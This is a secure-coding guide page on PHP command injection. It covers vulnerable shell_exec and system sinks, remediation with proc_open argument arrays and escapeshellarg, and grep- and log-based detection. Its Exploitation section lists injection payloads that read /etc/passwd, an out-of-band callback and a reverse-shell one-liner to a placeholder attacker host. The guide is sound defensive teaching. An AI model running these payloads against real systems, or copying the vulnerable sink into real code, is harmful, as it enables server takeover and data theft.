Skip to content

Latest commit

 

History

History
203 lines (143 loc) · 10.1 KB

File metadata and controls

203 lines (143 loc) · 10.1 KB

Command Injection

Command injection happens when attacker-controlled input reaches a PHP function that spawns an operating-system shell, letting the attacker append or alter shell commands that run with the web server's privileges.


Overview

PHP exposes several functions that hand a string to the underlying OS command interpreter (/bin/sh on Linux, cmd.exe on Windows): system(), exec(), shell_exec(), passthru(), popen(), proc_open(), the backtick operator `...`, and pcntl_exec(). When any part of the string passed to these functions is built from untrusted input without neutralising shell metacharacters, the shell interprets those metacharacters and executes commands the developer never intended.

The root cause is a confusion of data and code: the developer means the user's value to be a plain argument, but the shell treats characters like ;, |, &, $(), `, >, <, and newlines as control syntax. This is distinct from argument injection, where the input cannot break out of the command but can still smuggle extra flags to the invoked program.

Command injection is CWE-78 and maps to A03:2021 – Injection in the OWASP Top 10. It is one of the highest-severity web bugs because success typically yields direct code execution on the server.


Vulnerable Code

<?php
// VULNERABLE: user input concatenated straight into a shell command
$host = $_GET['host'];

// Attacker controls part of the command line passed to /bin/sh
$output = shell_exec('ping -c 1 ' . $host);

header('Content-Type: text/plain');
echo $output;

The developer expects ?host=example.com. Because shell_exec() runs the string through /bin/sh -c, any shell metacharacter in $host is honoured.

Even code that tries to be safe is often still vulnerable. Wrapping the value in double quotes does not help, because $(...) and backticks are still expanded inside double quotes:

<?php
// VULNERABLE: double quotes do not stop command substitution
$file = $_POST['file'];
system("gzip \"$file\"");   // ?file=x$(id) still runs `id`

Exploitation

Given the ping endpoint, an attacker chains a second command with ;, &&, |, or a newline:

GET /ping.php?host=127.0.0.1;id HTTP/1.1
Host: victim.example

The shell receives ping -c 1 127.0.0.1;id and runs both commands, returning the output of id (e.g. uid=33(www-data) gid=33(www-data)), confirming code execution as the web-server user.

Other classic separators and techniques an attacker probes with:

127.0.0.1 | whoami                 # pipe output of ping into whoami
127.0.0.1 && cat /etc/passwd       # run second command if first succeeds
127.0.0.1 $(cat /etc/passwd)       # command substitution
`id`                               # backtick substitution
127.0.0.1%0acat+/etc/passwd        # URL-encoded newline as separator

Blind command injection (no output returned) is confirmed with time delays (; sleep 10) or an out-of-band callback (; nslookup attacker.oob). From a single injection an attacker typically pivots to a reverse shell, e.g. appending ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1, then escalates. The goal here is to recognise the sink during source review — not to run it against systems you do not own.


Impact

Aspect Rating / Consequence
Severity Critical — direct remote code execution
Confidentiality Full — read any file the web user can access
Integrity Full — modify files, plant webshells, alter data
Availability Full — kill processes, exhaust resources, wipe data
Typical blast radius Web-server user, then lateral movement / privilege escalation
CVSS class Commonly 9.8 (Network / Low complexity / No auth on unauth endpoints)

Remediation

Prioritised, strongest first:

  1. Avoid the shell entirely. The best fix is to not call a shell command at all — use a native PHP API. Need DNS? Use dns_get_record() / checkdnshostname(). Need to read a file? file_get_contents(). Need an image resize? the GD or Imagick extension. No shell, no shell injection.
  2. Bypass the shell with an argument array. Use proc_open() (or PHP 8.4+ Process patterns) passing the command as an array of arguments, which executes the binary directly via execvp without a /bin/sh -c wrapper, so metacharacters are never interpreted.
  3. Escape both the command and each argument when you must build a string: escapeshellcmd() for the whole command and escapeshellarg() around every user-supplied argument. escapeshellarg() wraps the value in single quotes and escapes embedded quotes, forcing it to be a single literal argument. Prefer escapeshellarg() per-argument over escapeshellcmd() on the whole line.
  4. Allow-list the input when the set of valid values is finite (e.g. a fixed list of hostnames, an enum of actions). Validate against the list before it reaches any sink.
  5. Strict input validation — reject anything that is not the expected shape (e.g. a hostname regex, an integer cast) as defence in depth.
  6. Run with least privilege so that even a successful injection is contained (non-root web user, disable_functions in php.ini for system,exec,shell_exec,passthru,popen,proc_open where the app genuinely never needs them, open_basedir, containers/seccomp).

Caveat: escapeshellarg() prevents breaking out of the argument, but does not stop argument injection — a value like --flag is still a single, valid argument. Combine escaping with allow-listing and, where possible, a -- end-of-options separator.


Secure Example

<?php

declare(strict_types=1);

/**
 * Safely ping a host without ever invoking a shell.
 * Uses an argument array via proc_open() so no /bin/sh -c wrapper exists,
 * plus strict validation as defence in depth.
 */
function safePing(string $host): string
{
    // 1. Validate: allow only hostnames or IP addresses (allow-list by shape)
    $isIp   = filter_var($host, FILTER_VALIDATE_IP) !== false;
    $isHost = (bool) preg_match('/^(?=.{1,253}$)([a-z0-9](-?[a-z0-9])*)(\.[a-z0-9](-?[a-z0-9])*)*$/i', $host);

    if (!$isIp && !$isHost) {
        throw new InvalidArgumentException('Invalid host');
    }

    // 2. Pass the command as an ARGUMENT ARRAY — no shell, no metachar parsing.
    //    '--' ends option parsing so a value like "-oProxyCommand" cannot become a flag.
    $cmd = ['ping', '-c', '1', '-w', '2', '--', $host];

    $descriptors = [
        1 => ['pipe', 'w'], // stdout
        2 => ['pipe', 'w'], // stderr
    ];

    $process = proc_open($cmd, $descriptors, $pipes);
    if (!is_resource($process)) {
        throw new RuntimeException('Failed to start process');
    }

    $stdout = stream_get_contents($pipes[1]);
    $stderr = stream_get_contents($pipes[2]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);

    return $stdout !== '' ? $stdout : $stderr;
}

$host = (string) ($_GET['host'] ?? '');

try {
    $result = safePing($host);
    header('Content-Type: text/plain; charset=utf-8');
    // Escape on output too, in case the result is later rendered in HTML.
    echo htmlspecialchars($result, ENT_QUOTES | ENT_HTML5, 'UTF-8');
} catch (InvalidArgumentException $e) {
    http_response_code(400);
    echo 'Bad request';
}

If a string command is genuinely unavoidable, the minimum safe form is:

<?php

declare(strict_types=1);

$host = (string) ($_GET['host'] ?? '');
// escapeshellarg() forces $host to be one literal argument
$safe = escapeshellarg($host);
$output = shell_exec('ping -c 1 -- ' . $safe);
echo $output ?? '';

Detection & Blue-Team

Code review / SAST. Grep the codebase for the sinks and check whether any argument is tainted:

grep -rnE '\b(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*\(' --include='*.php' .
grep -rnE '`[^`]*\$' --include='*.php' .   # backtick operator with a variable

For each hit, trace the argument back to $_GET / $_POST / $_REQUEST / $_SERVER / $_COOKIE / file contents / DB values. Tools: Psalm/PHPStan taint analysis, Semgrep (php.lang.security.exec-use), RIPS/Progpilot, and phpcs security rulesets. Treat any concatenation into these functions as suspect; treat an argument array to proc_open() as the safe pattern.

Logs & runtime. Watch for shell metacharacters (;, |, &, $(, backticks, %0a) in request parameters, and for the web-server user spawning unexpected children (sh, bash, whoami, id, curl, nslookup, nc). Auditd/EDR process-lineage rules where a PHP-FPM worker forks a shell are high-signal. Egress DNS/HTTP to unknown hosts can reveal blind/OOB injection.

WAF. Signatures for command-injection payloads (e.g. OWASP CRS 932xxx rules) provide a stop-gap, but are bypassable and must not replace fixing the sink. Confirm findings against the Security-Audit-Checklist rather than trusting the WAF alone.


References


Related